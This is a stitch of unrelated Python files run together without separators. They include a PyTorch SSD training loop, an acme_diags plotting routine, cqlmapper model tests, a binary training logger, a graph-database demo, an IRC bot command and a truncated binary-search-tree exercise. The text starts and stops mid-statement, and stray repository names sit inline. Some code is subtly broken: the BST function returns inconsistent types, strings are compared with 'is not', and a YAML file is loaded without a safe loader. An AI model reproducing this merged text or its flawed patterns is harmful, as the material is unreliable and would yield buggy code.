'trainval')) elif y == '2012': img_sets.append(('2012', 'trainval')) # (104, 117, 123) # (127, 127, 127) dataset = VOCDetection(root=opt.voc_root, image_sets=img_sets, transform=SSDAugmentation(opt.imsize, (127, 127, 127)) ) dataloader = torch.utils.data.DataLoader(dataset, opt.batch_size, num_workers=opt.n_cpu, collate_fn=detection_collate, shuffle=True, pin_memory=True) print('Loading the dataset...') epoch_size = len(dataloader) print("dataset size : {}, epoch_size: {}".format(len(dataset), epoch_size)) if opt.optim == "SGD": optimizer = optim.SGD(fine_tune_param, lr=opt.lr, momentum=0.9, weight_decay=0.0005) elif opt.optim == 'Adam': optimizer = optim.Adam(fine_tune_param, lr=opt.lr) else: print("Wrong optimizer name") exit(0) criterion = MultiBoxLoss(num_classes, 0.5, True, 0, True, 3, use_gpu=cuda) start_epoch, end_epoch = opt.epoch_set.split(',') start_epoch, end_epoch = int(start_epoch), int(end_epoch) save_interval = 1 save_num_max = 3 best_loss = 1e3 prev_best = None saved_names = [] save_dir, save_title = os.path.split(opt.save_dir) os.makedirs(save_dir, exist_ok=True) log_dir, log_file = os.path.split(opt.log) os.makedirs(log_dir, exist_ok=True) for epoch in range(start_epoch, end_epoch+1): loc_loss = [] conf_loss = [] t0 = time.time() for batch_i, (imgs, targets) in enumerate(dataloader): tb_0 = time.time() if opt.cuda: images = imgs.cuda() targets = [ann.cuda() for ann in targets] else: images = Variable(imgs) targets = [Variable(ann) for ann in targets] out = model(images) optimizer.zero_grad() loss_l, loss_c = criterion(out, targets) loss = loss_l + loss_c loss.backward() optimizer.step() loc_loss.append(loss_l.item()) conf_loss.append(loss_c.item()) tb_1 = time.time() s = ('[Epoch %d/%d, Batch %d/%d] [Loc: %.4f, conf: %.4f, loss: %.4f] time cost: %.3f' % (epoch, end_epoch, batch_i + 1, len(dataloader), loss_l.data, loss_c.data, loss.data, (tb_1 - tb_0))) print(s) if batch_i % int(epoch_size/10) == 0: with open(os.path.join(log_dir, log_file), 'a') as f: f.write(s + '\n') # done one epoch, check for saving epoch_loc = sum(loc_loss)/len(loc_loss) epoch_conf = sum(conf_loss)/len(conf_loss) epoch_loss = epoch_loc + epoch_conf learn_rate = optimizer.param_groups[0]['lr'] print('avg loc: %.4f, avg conf: %.4f avg loss: %.4f, lr: %f' % (epoch_loc, epoch_conf, epoch_loss, learn_rate)) t1 = time.time() print('epoch time cost: %.2f' % (t1 - t0)) title, ext = os.path.splitext(log_file) if ext != '.txt': log_file = log_file + '.txt' with open(os.path.join(log_dir, log_file), 'a') as f: s = 'sum: {}|loss:{}|loc:{}|conf:{}|lr:{}\n'.format(epoch, epoch_loss, epoch_loc, epoch_conf, learn_rate) f.write(s) if epoch % save_interval == 0: print('Saving state, epoch: ', epoch) temp = "{}_{}_loss_{}.pth".format(save_title, epoch, str(round(epoch_loss, 4))) temp = os.path.join(save_dir, temp) saved_names.append(temp) torch.save(model.state_dict(), temp) # model.save_weights(temp) if epoch_loss < best_loss: best_loss = epoch_loss dest = temp.replace('loss', 'best') copyfile(temp, dest) if prev_best is not None: os.remove(prev_best) prev_best = dest if len(saved_names) > save_num_max: del_save = saved_names[0] os.remove(del_save) saved_names.pop(0) if __name__ == "__main__": train()from __future__ import print_function import os import sys import vcs import acme_diags import acme_diags.plot.vcs as utils from acme_diags.driver.utils.general import get_output_dir textcombined_objs = {} def managetextcombined(tt_name, to_name, vcs_canvas): """Caches textcombined objects""" new_name = "%s:::%s" % (tt_name, to_name) mytc = textcombined_objs.get(new_name, None) if mytc is None: mytc = vcs_canvas.createtextcombined( Tt_source=tt_name, To_source=to_name) textcombined_objs[new_name] = mytc return mytc def plot(ref, test, diff, metrics_dict, parameters): vcs_canvas = vcs.init(bg=True, geometry=( parameters.canvas_size_w, parameters.canvas_size_h)) # Line options, see here: https://uvcdat.llnl.gov/documentation/vcs/vcs-10.html # Other options not in the above link: # https://uvcdat.llnl.gov/docs/vcs/graphics/unified1D.html ref_plot_linetype = 0 ref_plot_color = 215 # 6 to 239 ref_plot_width = 3 # 1 to 100 ref_plot_marker = 1 ref_plot_markersize = 1 ref_plot_markercolor = 215 test_plot_linetype = 0 test_plot_color = 1 test_plot_width = 3 test_plot_marker = 1 test_plot_markersize = 1 test_plot_markercolor = 1 diff_plot_linetype = 0 diff_plot_color = 1 diff_plot_width = 3 diff_plot_marker = 1 diff_plot_markersize = 1 diff_plot_markercolor = 1 file_path = os.path.join(acme_diags.INSTALL_PATH, 'zonal_mean_xy') vcs_canvas.scriptrun(os.path.join(file_path, 'plot_set_3.json')) utils.set_units(test, parameters.test_units) utils.set_units(ref, parameters.reference_units) utils.set_units(diff, parameters.diff_units) if hasattr(test, 'long_name'): test.long_name = parameters.test_title if parameters.test_title is not '' else test.long_name if hasattr(ref, 'long_name'): ref.long_name = parameters.reference_title if parameters.reference_title is not '' else ref.long_name if hasattr(diff, 'long_name'): diff.long_name = parameters.diff_title if parameters.diff_title is not '' else diff.long_name test.id = str( parameters.test_name_yrs) if parameters.test_name_yrs is not '' else test.id ref.id = str( parameters.ref_name_yrs) if parameters.ref_name_yrs is not '' else ref.id diff.id = str( parameters.diff_name) if parameters.diff_name is not '' else diff.id # use vcs_canvas.show('colormap') to view all colormaps # 6 to 239 are purple to red in rainbow order vcs_canvas.setcolormap('rainbow') ref_test_template = vcs.gettemplate('ref_test_template') # Turn off the units of the axes in the plots. ref_test_template.xunits.priority = 0 ref_test_template.yunits.priority = 0 ref_test_yaxis_title = managetextcombined( 'ref_test_yaxis_title', 'ref_test_yaxis_title', vcs_canvas) ref_test_yaxis_title.angle = 270 ref_test_yaxis_title.halign = 'center' ref_test_yaxis_title.y = ( ref_test_template.data.y1 + ref_test_template.data.y2) / 2 ref_test_yaxis_title.x = ref_test_template.data.x1 - 0.08 ref_test_yaxis_title.string = test.long_name + ' (' + test.units + ')' vcs_canvas.plot(ref_test_yaxis_title) ref_test_template.legend.priority = 0 ref_test_template.title.priority = 0 # the actual box around the plot ref_test_template.box1.x1 = 0.1223 ref_test_template.box1.x2 = 0.96 ref_test_template.box1.y1 = 0.55 ref_test_template.box1.y2 = 0.90 # data (the lines) need to be offset accordingly ref_test_template.data.x1 = 0.1223 ref_test_template.data.x2 = 0.96 ref_test_template.data.y1 = 0.55 ref_test_template.data.y2 = 0.90 ref_test_template.units.textorientation = 'defright' ref_test_template.units.x = 0.96 ref_test_template.units.y = 0.91 # labels on xaxis ref_test_template.xlabel1.y = (0.55) - 0.02 # no xlabel1.x attribute # actual ticks on xaxis ref_test_template.xtic1.y1 = (0.55 - 0.005) + 0.01 ref_test_template.xtic1.y2 = (0.55 - 0.005) # name of xaxis # ref_test_template.xname.y += 0.29 # labels on yaxis ref_test_template.ylabel1.x = 0.11 # no ylabel1.y attribute # actual ticks on yaxis ref_test_template.ytic1.x1 = (0.1223 - 0.006) + 0.01 ref_test_template.ytic1.x2 = (0.1223 - 0.006) diff_template = vcs.gettemplate('diff_template') # Turn off the units of the axes in the plots. diff_template.xunits.priority = 0 diff_template.yunits.priority = 0 diff_yaxis_title = managetextcombined( 'diff_yaxis_title', 'diff_yaxis_title', vcs_canvas) diff_yaxis_title.angle = 270 diff_yaxis_title.halign = 'center' diff_yaxis_title.y = (diff_template.data.y1 + diff_template.data.y2) / 2 diff_yaxis_title.x = diff_template.data.x1 - 0.08 diff_yaxis_title.string = test.long_name + ' (' + test.units + ')' vcs_canvas.plot(diff_yaxis_title) diff_template.units.textorientation = 'defright' diff_template.units.x += 0.01 diff_template.legend.priority = 0 diff_template.ytic1.x1 = (0.1223 - 0.006) + 0.01 diff_template.ytic1.x2 = (0.1223 - 0.006) diff_template.ylabel1.x = 0.11 # no ylabel1.y attribute diff_template.units.textorientation = 'defright' diff_template.units.x = 0.96 ref_line = vcs_canvas.getxvsy('ref_plot') ref_line.datawc_y1 = min(ref.min(), test.min()) ref_line.datawc_y2 = max(ref.max(), test.max()) ref_line.datawc_x1 = -90 ref_line.datawc_x2 = 90 ref_line.xticlabels1 = {-90: "90S", -60: "60S", -30: "30S", 0: "Eq", 30: "30N", 60: "60N", 90: "90N"} test_line = vcs_canvas.getxvsy('test_plot') test_line.datawc_y1 = min(ref.min(), test.min()) test_line.datawc_y2 = max(ref.max(), test.max()) test_line.datawc_x1 = -90 test_line.datawc_x2 = 90 diff_line = vcs_canvas.getxvsy('diff_plot') diff_line.datawc_y1 = diff.min() diff_line.datawc_y2 = diff.max() diff_line.datawc_x1 = -90 diff_line.datawc_x2 = 90 diff_line.xticlabels1 = {-90: "90S", -60: "60S", -30: "30S", 0: "Eq", 30: "30N", 60: "60N", 90: "90N"} ref_line.linetype = ref_plot_linetype ref_line.linecolor = ref_plot_color ref_line.linewidth = ref_plot_width ref_line.marker = ref_plot_marker ref_line.markersize = ref_plot_markersize ref_line.markercolor = ref_plot_markercolor test_line.linetype = test_plot_linetype test_line.linecolor = test_plot_color test_line.linewidth = test_plot_width test_line.marker = test_plot_marker test_line.markersize = test_plot_markersize test_line.markercolor = test_plot_markercolor diff_line.linetype = diff_plot_linetype diff_line.linecolor = diff_plot_color diff_line.linewidth = diff_plot_width diff_line.marker = diff_plot_marker diff_line.markersize = diff_plot_markersize diff_line.markercolor = diff_plot_markercolor blank_template = vcs_canvas.gettemplate('blank_template') blank_template.legend.priority = 0 blank_template.data.priority = 1 vcs_canvas.plot(ref, ref_line, ref_test_template) vcs_canvas.plot(test, test_line, blank_template) vcs_canvas.plot(diff, diff_line, diff_template) # Plot the main title main_title = managetextcombined('main_title', 'main_title', vcs_canvas) main_title.string = parameters.main_title # for some reason, this needs to be before a call to vcs_canvas.plot() vcs_canvas.portrait() vcs_canvas.plot(main_title) test_title = managetextcombined('test_title', 'test_title', vcs_canvas) test_title.string = "Test: " + str(parameters.test_name) test_title.color = 1 test_title.x = ref_test_template.data.x1 - 0.05 test_title.y = ref_test_template.data.y2 + 0.045 test_title.height = 12 vcs_canvas.plot(test_title) ref_title = managetextcombined('ref_title', 'ref_title', vcs_canvas) ref_title.string = "Reference: " + str(parameters.reference_name) ref_title.color = 215 ref_title.x = ref_test_template.data.x1 - 0.05 ref_title.y = ref_test_template.data.y2 + 0.025 ref_title.height = 12 vcs_canvas.plot(ref_title) if not parameters.logo: vcs_canvas.drawlogooff() fnm = os.path.join(get_output_dir(parameters.current_set, parameters), parameters.output_file) for f in parameters.output_format: f = f.lower().split('.')[-1] if f == 'png': vcs_canvas.png(fnm) elif f == 'pdf': vcs_canvas.pdf(fnm) elif f == 'svg': vcs_canvas.svg(fnm) # Get the filename that the user has passed in and display that. # When running in a container, the paths are modified. fnm = os.path.join(get_output_dir(parameters.current_set, parameters, ignore_container=True), parameters.output_file) print('Plot saved in: ' + fnm + '.' + f) vcs_canvas.clear() hdm-dt-fb/ironpython-stubs class FrameworkCompatibilityPreferences(object): # no doc AreInactiveSelectionHighlightBrushKeysSupported=False KeepTextBoxDisplaySynchronizedWithTextProperty=False ShouldThrowOnCopyOrCutFailure=False __all__=[] from collections import Iterable from toute.bases.field import BaseField from toute.bases.metaclass import ModelMetaclass from toute.exceptions import RequiredField, InvalidMultiField from toute.exceptions import FieldTypeMismatch from six import with_metaclass, iteritems class EmbeddedDocument(with_metaclass(ModelMetaclass, BaseField)): def _to_dict_element(self, real_obj): result = {} for field_name, field_class in iteritems(self._fields): value = getattr(real_obj, field_name) result.update({field_name: field_class.to_dict(value)}) return result def to_dict(self, value): if value is not None: if self._multi: return [self._to_dict_element(elem) for elem in value] return self._to_dict_element(value) def _validate_element(self, elem): if not isinstance(elem, EmbeddedDocument): raise FieldTypeMismatch(self._field_name, self.__class__._type, elem.__class__) for field_name, field_class in iteritems(self._fields): value = getattr(elem, field_name) field_class.validate(value) def validate(self, value): if value is None: if self._required: raise RequiredField(self._field_name) else: if self._multi: if not isinstance(value, Iterable): raise InvalidMultiField(self._field_name) for elem in value: self._validate_element(elem) else: self._validate_element(value) def _from_dict_element(self, dct): params = {} for field_name, field_class in iteritems(self._fields): serialized = dct.get(field_name) value = field_class.from_dict(serialized) params[field_name] = value return self.__class__(**params) def from_dict(self, serialized): if serialized is None: return None if self._multi: return [self._from_dict_element(elem) for elem in serialized] return self._from_dict_element(serialized) # Modifications Copyright 2016-2017 Reddit, Inc. # # Copyright 2013-2016 DataStax, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. try: import unittest2 as unittest except ImportError: import unittest # noqa from unittest.mock import patch from cqlmapper import columns, CQLEngineException from cqlmapper.management import sync_table, drop_table, create_keyspace_simple, drop_keyspace from cqlmapper import models from cqlmapper.models import Model, ModelDefinitionException from uuid import uuid1 from tests.integration import pypy from tests.integration.base import BaseCassEngTestCase class TestModel(BaseCassEngTestCase): """ Tests the non-io functionality of models """ def test_instance_equality(self): """ tests the model equality functionality """ class EqualityModel(Model): pk = columns.Integer(primary_key=True) m0 = EqualityModel(pk=0) m1 = EqualityModel(pk=1) self.assertEqual(m0, m0) self.assertNotEqual(m0, m1) def test_model_equality(self): """ tests the model equality functionality """ class EqualityModel0(Model): pk = columns.Integer(primary_key=True) class EqualityModel1(Model): kk = columns.Integer(primary_key=True) m0 = EqualityModel0(pk=0) m1 = EqualityModel1(kk=1) self.assertEqual(m0, m0) self.assertNotEqual(m0, m1) def test_keywords_as_names(self): """ Test for CQL keywords as names test_keywords_as_names tests that CQL keywords are properly and automatically quoted in cqlengine. It creates a keyspace, keyspace, which should be automatically quoted to "keyspace" in CQL. It then creates a table, table, which should also be automatically quoted to "table". It then verfies that operations can be done on the "keyspace"."table" which has been created. It also verifies that table alternations work and operations can be performed on the altered table. @since 2.6.0 @jira_ticket PYTHON-244 @expected_result Cqlengine should quote CQL keywords properly when creating keyspaces and tables. @test_category schema:generation """ # If the keyspace exists, it will not be re-created create_keyspace_simple(self.conn, "keyspace", 1) k_conn = self.connection("keyspace") class table(Model): select = columns.Integer(primary_key=True) table = columns.Text() # In case the table already exists in keyspace drop_table(k_conn, table) # Create should work sync_table(k_conn, table) created = table.create(k_conn, select=0, table="table") selected = table.objects(select=0).first(k_conn) self.assertEqual(created.select, selected.select) self.assertEqual(created.table, selected.table) # Alter should work class table(Model): select = columns.Integer(primary_key=True) table = columns.Text() where = columns.Text() sync_table(k_conn, table) created = table.create(k_conn, select=1, table="table") selected = table.objects(select=1).first(k_conn) self.assertEqual(created.select, selected.select) self.assertEqual(created.table, selected.table) self.assertEqual(created.where, selected.where) drop_keyspace(self.conn, "keyspace") del k_conn def test_column_family(self): class TestModel(Model): k = columns.Integer(primary_key=True) self.assertEqual(TestModel.column_family_name(), "test_model") def test_column_family_case_sensitive(self): """ Test to ensure case sensitivity is honored when __table_name_case_sensitive__ flag is set @since 3.1 @jira_ticket PYTHON-337 @expected_result table_name case is respected @test_category object_mapper """ class TestModel(Model): __table_name__ = "TestModel" __table_name_case_sensitive__ = True k = columns.Integer(primary_key=True) self.assertEqual(TestModel.column_family_name(), '"TestModel"') class BuiltInAttributeConflictTest(unittest.TestCase): """ tests Model definitions that conflict with built-in attributes/methods """ def test_model_with_attribute_name_conflict(self): """ should raise exception when model defines column that conflicts with built-in attribute """ with self.assertRaises(ModelDefinitionException): class IllegalTimestampColumnModel(Model): my_primary_key = columns.Integer(primary_key=True) timestamp = columns.BigInt() def test_model_with_method_name_conflict(self): """ hould raise exception when model defines column that conflicts with built-in method """ with self.assertRaises(ModelDefinitionException): class IllegalFilterColumnModel(Model): my_primary_key = columns.Integer(primary_key=True) filter = columns.Text() @pypy class ModelOverWriteTest(BaseCassEngTestCase): def test_model_over_write(self): """ Test to ensure overwriting of primary keys in model inheritance is allowed This is currently only an issue in PyPy. When PYTHON-504 is introduced this should be updated error out and warn the user @since 3.6.0 @jira_ticket PYTHON-576 @expected_result primary keys can be overwritten via inheritance @test_category object_mapper """ class TimeModelBase(Model): uuid = columns.TimeUUID(primary_key=True) class DerivedTimeModel(TimeModelBase): __table_name__ = "derived_time" uuid = columns.TimeUUID(primary_key=True, partition_key=True) value = columns.Text(required=False) # In case the table already exists in keyspace drop_table(self.conn, DerivedTimeModel) sync_table(self.conn, DerivedTimeModel) uuid_value = uuid1() uuid_value2 = uuid1() DerivedTimeModel.create(self.conn, uuid=uuid_value, value="first") DerivedTimeModel.create(self.conn, uuid=uuid_value2, value="second") DerivedTimeModel.objects.filter(uuid=uuid_value) 100-1000 """ Copyright 2016 Deepgram Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import os import re import shutil import logging import yaml from .persistent_logger import PersistentLogger from .statistic import Statistic from ..utils import idx logger = logging.getLogger(__name__) ############################################################################### class BinaryLogger(PersistentLogger): """ A class for storing log data in a fast binary format that can be quickly appended to or randomly seeked. """ SUMMARY = 'summary.yml' ########################################################################### @classmethod def get_name(cls): """ Returns the name of the logger. """ return 'binary' ########################################################################### def __init__(self, path, **kwargs): """ Creates a new binary logger. # Arguments path: str. The path to create the log at. # Notes - The BinaryLogger stores its log information in a directory. Thus, `path` should be a directory. """ super().__init__(**kwargs) self.sessions = 1 self.path = path self.prepare() ########################################################################### def prepare(self): """ Prepares the logger by loading historical information. """ path = os.path.expanduser(os.path.expandvars(self.path)) if os.path.exists(path): if os.path.isdir(path): logger.info('Loading log data: %s', path) summary_path = os.path.join(path, self.SUMMARY) if os.path.exists(summary_path): self.load_summary() has_summary = True else: logger.trace('Loading old-style binary logger.') has_summary = False _, training_time, training_loss = self.load_statistic( Statistic(Statistic.Type.TRAINING, 'loss', 'total') ) if training_loss is None: self.best_training_loss = None else: self.best_training_loss = training_loss.min() # Handle the old log format. if not has_summary: self.epochs = len(training_loss) _, validation_time, validation_loss = self.load_statistic( Statistic(Statistic.Type.VALIDATION, 'loss', 'total') ) if validation_loss is None: self.best_validation_loss = None else: self.best_validation_loss = validation_loss.min() _, batch_time, _ = self.load_statistic( Statistic(Statistic.Type.BATCH, 'loss', 'total') ) if batch_time is not None: self.latest_timestamp = batch_time[-1] elif validation_time is not None: self.latest_timestamp = validation_time[-1] elif training_time is not None: self.latest_timestamp = training_time[-1] else: self.latest_timestamp = 0 self.timestamper.duration = self.latest_timestamp else: raise ValueError('Binary logger stores its information in a ' 'directory. The supplied log path already exists, but it ' 'is a file: {}'.format(path)) else: logger.info('Log does not exist. Creating path: %s', path) os.makedirs(path, exist_ok=True) self.best_training_loss = None self.best_validation_loss = None ########################################################################### def get_best_training_loss(self): """ Returns the best historical training loss. """ return self.best_training_loss ########################################################################### def get_best_validation_loss(self): """ Returns the best historical validation loss. """ return self.best_validation_loss ########################################################################### def get_latest_timestamp(self): """ Returns the latest timestamp. """ return self.latest_timestamp ########################################################################### @staticmethod def get_filename_from_statistic(statistic, *, legacy=False): if legacy: return '{}_{}_{}'.format( str(statistic.data_type), '.'.join(statistic.tags), statistic.name ) return '{}_{}_{}'.format( str(statistic.data_type).replace('_', '__'), '.'.join( tag.replace('_', '__').replace('.', '..') for tag in statistic.tags ) if statistic.tags else 'null', statistic.name.replace('_', '__') ) ########################################################################### @staticmethod def get_statistic_from_filename(filename, *, was_legacy=None): parts = re.split(r'(?<=[^_])_(?=[^_])', filename) if len(parts) != 3: parts = filename.split('_', 1) if len(parts) != 2: raise KeyError('Failed to parse filename.') data_type = parts[0] parts = parts[1].rsplit('_', 1) if len(parts) != 2: raise KeyError('Failed to parse filename.') tags, name = parts tags = tags.split('.') if was_legacy is None: logger.warning('Parsed a legacy statistic filename: %s', filename) else: was_legacy.legacy = True return Statistic(data_type, tags, name) parts = [part.replace('__', '_') for part in parts] data_type = parts[0] tags = re.split(r'(?<=[^.])\.(?=[^.])', parts[1]) tags = [tag.replace('..', '.') for tag in tags] if len(tags) == 1 and tags[0] == 'null': tags = None name = parts[2] return Statistic(data_type, tags, name) ########################################################################### def process(self, data, data_type, tag=None): """ Processes training statistics. """ path = os.path.expanduser(os.path.expandvars(self.path)) for k, v in data.items(): stat = Statistic(data_type, tag, k) column = self.get_filename_from_statistic(stat) filename = os.path.join(path, column) # Handle deprecated paths. if not os.path.isfile(filename): old_column = self.get_filename_from_statistic(stat, legacy=True) old_filename = os.path.join(path, old_column) if os.path.isfile(old_filename): logger.warning('Your log paths use a deprecated naming ' 'scheme. We are upgrading it now, leaving the ' 'original file as a backup: %s', old_filename) shutil.copy(old_filename, filename) logger.trace('Adding data to binary column: %s', column) idx.save(filename, v, append=True) self.update_summary() ########################################################################### def update_summary(self): """ Updates the summary log file. """ logger.trace('Writing logger summary.') path = os.path.expanduser(os.path.expandvars(self.path)) summary_path = os.path.join(path, self.SUMMARY) with open(summary_path, 'w') as fh: fh.write(yaml.dump({ 'version' : 3, 'epochs' : self.epochs, 'batches' : self.batches, 'samples' : self.samples, 'sessions' : self.sessions, 'clocks' : {k : float(v) for k, v in self.clocks.items()} \ if self.clocks else None })) ########################################################################### def load_summary(self): logger.trace('Reading logger summary.') path = os.path.expanduser(os.path.expandvars(self.path)) summary_path = os.path.join(path, self.SUMMARY) with open(summary_path) as fh: summary = yaml.load(fh.read()) self.epochs = summary.get('epochs', 0) self.batches = summary.get('batches', 0) self.samples = summary.get('samples', 0) self.sessions = summary.get('sessions', 0) + 1 self.clocks = summary.get('clocks') ########################################################################### @staticmethod def load_column(path, column): """ Loads logged information from disk. # Arguments path: str. The path to the log directory. column: str. The name of the statistic to load. # Return value If the statistic specified by `column` exists in the log directory `path`, then a numpy array containing the stored data is returned. Otherwise, None is returned. """ logger.trace('Loading binary column: %s', column) path = os.path.expanduser(os.path.expandvars(path)) if not os.path.isdir(path): logger.trace('No such log path exists: %s', path) return None filename = os.path.join(path, column) if not os.path.isfile(filename): logger.trace('No such log column exists: %s', filename) return None return idx.load(filename) ########################################################################### def enumerate_statistics(self): result = [] legacy = lambda: None path = os.path.expanduser(os.path.expandvars(self.path)) for filename in os.listdir(path): if filename == self.SUMMARY: continue if not os.path.isfile(os.path.join(path, filename)): continue try: legacy.legacy = False stat = self.get_statistic_from_filename(filename, was_legacy=legacy) if legacy.legacy and os.path.isfile(os.path.join( path, self.get_filename_from_statistic(stat) )): # If this is a legacy filename, but a "modern" filename # exists, then just enumerate the modern one and skip this. continue except KeyError: continue result.append(stat) return result ########################################################################### def load_statistic(self, statistic): path = os.path.expanduser(os.path.expandvars(self.path)) def load_with_legacy_support(statistic): result = BinaryLogger.load_column(path, self.get_filename_from_statistic(statistic) ) if result is None: result = BinaryLogger.load_column(path, self.get_filename_from_statistic(statistic, legacy=True) ) if result is not None: logger.warning('Loading deprecated log path.') return result values = load_with_legacy_support(statistic) batches = load_with_legacy_support(statistic.copy(name='batch')) timestamps = load_with_legacy_support(statistic.copy(name='time')) lens = [len(x) for x in (values, batches, timestamps) if x is not None] if not lens: return (None, None, None) keep = min(lens) def modify(x): """ Truncates the data series appropriately. """ if x is None: return None elif keep: return x[-keep:] else: return x[0:0] values, batches, timestamps = \ tuple(modify(x) for x in (values, batches, timestamps)) return (batches, timestamps, values) ### EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF.EOF import os for x in os.listdir("podatki/sql"): print("podatki/sql/{0}".format(x))# -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import logging from ralph_scrooge.models import ( PricingObjectModel, PRICING_OBJECT_TYPES, ) from ralph_scrooge.plugins import plugin_runner from ralph_scrooge.plugins.collect.utils import get_from_ralph logger = logging.getLogger(__name__) def update_asset_model(model): pom, created = PricingObjectModel.objects.get_or_create( ralph3_model_id=model['id'], type_id=PRICING_OBJECT_TYPES.ASSET, ) pom.name = model['name'] pom.manufacturer = ( model['manufacturer']['name'] if model['manufacturer'] else None ) pom.category = model['category']['name'] if model['category'] else None pom.save() return created @plugin_runner.register(chain='scrooge') def ralph3_asset_model(**kwargs): new = total = 0 # fetch only data center models for model in get_from_ralph("assetmodels", logger, query="type=2"): created = update_asset_model(model) if created: new += 1 total += 1 return True, '{} new asset models, {} updated, {} total'.format( new, total - new, total, ) #pylint: skip-file from __future__ import print_function from ruruki.graphs import Graph # create a empty graph graph = Graph() # create some constraints to ensure uniqueness graph.add_vertex_constraint("person", "name") graph.add_vertex_constraint("book", "title") graph.add_vertex_constraint("author", "fullname") graph.add_vertex_constraint("category", "name") # add in a couple books and their authors # Note that I am duplicating the books title property as a name too. This is for ruruki-eye display programming = graph.get_or_create_vertex("category", name="Programming") operating_systems = graph.get_or_create_vertex("category", name="Operating Systems") python_crash_course = graph.get_or_create_vertex("book", title="Python Crash Course") graph.set_property(python_crash_course, name="Python Crash Course") eric_matthes = graph.get_or_create_vertex("author", fullname="", name="Eric", surname="Matthes") graph.get_or_create_edge(python_crash_course, "CATEGORY", programming) graph.get_or_create_edge(python_crash_course, "BY", eric_matthes) python_pocket_ref = graph.get_or_create_vertex("book", title="Python Pocket Reference") graph.set_property(python_pocket_ref, name="Python Pocket Reference") mark_lutz = graph.get_or_create_vertex("author", fullname="", name="Mark", surname="Lutz") graph.get_or_create_edge(python_pocket_ref, "CATEGORY", programming) graph.get_or_create_edge(python_pocket_ref, "BY", mark_lutz) how_linux_works = graph.get_or_create_vertex("book", title="How Linux Works: What Every Superuser Should Know", edition="second") graph.set_property(how_linux_works, name=how_linux_works.properties["title"]) brian_ward = graph.get_or_create_vertex("author", fullname="", name="Brian", surname="Ward") graph.get_or_create_edge(how_linux_works, "CATEGORY", operating_systems) graph.get_or_create_edge(how_linux_works, "BY", brian_ward) linux_command_line = graph.get_or_create_vertex("book", title="The Linux Command Line: A Complete Introduction", edition="first") graph.set_property(linux_command_line, name=linux_command_line.properties["title"]) william = graph.get_or_create_vertex("author", fullname=" Jr.", name="William", surname="Shotts") graph.get_or_create_edge(linux_command_line, "CATEGORY", operating_systems) graph.get_or_create_edge(linux_command_line, "BY", william) # let add some customers and book out some books john = graph.get_or_create_vertex("person", name="John", surname="Doe") graph.get_or_create_edge(john, "READING", python_crash_course) graph.get_or_create_edge(john, "INTEREST", programming) jane = graph.get_or_create_vertex("person", name="Jane", surname="Doe") graph.get_or_create_edge(jane, "LIKE", operating_systems) graph.get_or_create_edge(jane, "MARRIED-TO", john) graph.get_or_create_edge(jane, "READING", linux_command_line) graph.get_or_create_edge(jane, "READING", python_pocket_ref) print("People:") print(graph.get_vertices("person").all()) print("\nPython books:") print(graph.get_vertices("book", title__icontains="Python").all()) print("\nVertex with identity number 0:") print(repr(graph.get_vertex(0))) print("\nUnion of books with 'Reference' and 'Crash Course' in the title:") print((graph.get_vertices("book", name__contains="Reference") | graph.get_vertices("book", title__contains="Crash Course")).all()) print("\nPython books with that do not contain 'Crash Course' in the title:") print((graph.get_vertices("book", name__contains="Python") - graph.get_vertices("book", title__contains="Crash Course")).all()) from twisted.plugin import IPlugin from heufybot.moduleinterface import IBotModule from heufybot.modules.commandinterface import BotCommand from zope.interface import implements from random import choice class ChooseCommand(BotCommand): implements(IPlugin, IBotModule) name = "Choose" def triggers(self): return ["choose", "choice"] def load(self): self.help = "Commands: choose/choice , | Makes a choice out of the given options at random." self.commandHelp = {} def execute(self, server, source, command, params, data): if len(params) < 1: self.replyPRIVMSG(server, source, "Choose what?") return message = " ".join(params) if "," in message: options = message.split(",") else: options = params self.replyPRIVMSG(server, source, "Choice: {}".format(choice(options).strip())) chooseCommand = ChooseCommand() src/test_security.py import unittest from app.security import secure_token import random class SecurityTest(unittest.TestCase): def test_tokens(self): random.seed(1001) token = secure_token() self.assertEqual(len(token), 64) e = "3e70ac6dab84ef33d5570b541a4d376772c091e504fdb220b033cfa5f265d0fd" self.assertEqual(token, e) if __name__ == '__main__': unittest.main() projects/golem_e2e/tests/project_pages/add_page_with_duplicated_name.py0 description = 'Verify the application displays the correct error message when the page name already exists' pages = ['login', 'common', 'index', 'project_pages'] def setup(data): common.access_golem(data.env.url, data.env.admin) index.create_access_project('test') common.navigate_menu('Pages') def test(data): store('page_name', 'page_' + random('cccc')) project_pages.add_page(data.page_name) project_pages.add_page(data.page_name) project_pages.verify_error_message('A page file with that name already exists') def make_int_list(x): return list(map(int, x.split())) def is_odd(e): return e % 2 == 1 def odd_list(alist): return list(x for x in alist if x % 2 == 1) def sum_square(alist): return sum(x*x for x in alist) ''' This problem was recently asked by Twitter: You are given the root of a binary tree. Find and return the largest subtree of that tree, which is a valid binary search tree. ''' class TreeNode: def __init__(self, key): self.left = None self.right = None self.val = key def __str__(self): # preorder traversal answer = str(self.val) if self.left: answer += str(self.left) if self.right: answer += str(self.right) return answer class Solution: def largest_bst_subtree(self, root): return self.largest_bst(root, 0, None) def largest_bst(self, root, maxheight, maxnode): if self.isValidBST(root, float('-inf'), float('inf')): size = self.size(root) # print(size) if size > maxheight: maxheight = size maxnode = root # print(maxnode.val, maxheight) return maxnode, maxheight if root.left: n, h = self.largest_bst(root.left, maxheight, maxnode) if h > maxheight: maxheight = h maxnode = n if root.right: n, h = self.largest_bst(root.right, maxheight, maxnode) if h > maxheight: maxheight = h maxnode = n return maxnode def size(self, root): if not root: return 0 return self.size(root.left) + 1 + self.size(root.right) def isValidBST(self, node, low, high): if not node: return True val = node.val if val < low or val > high: return False if not self.isValidBST(node.left, low, val): return False if not 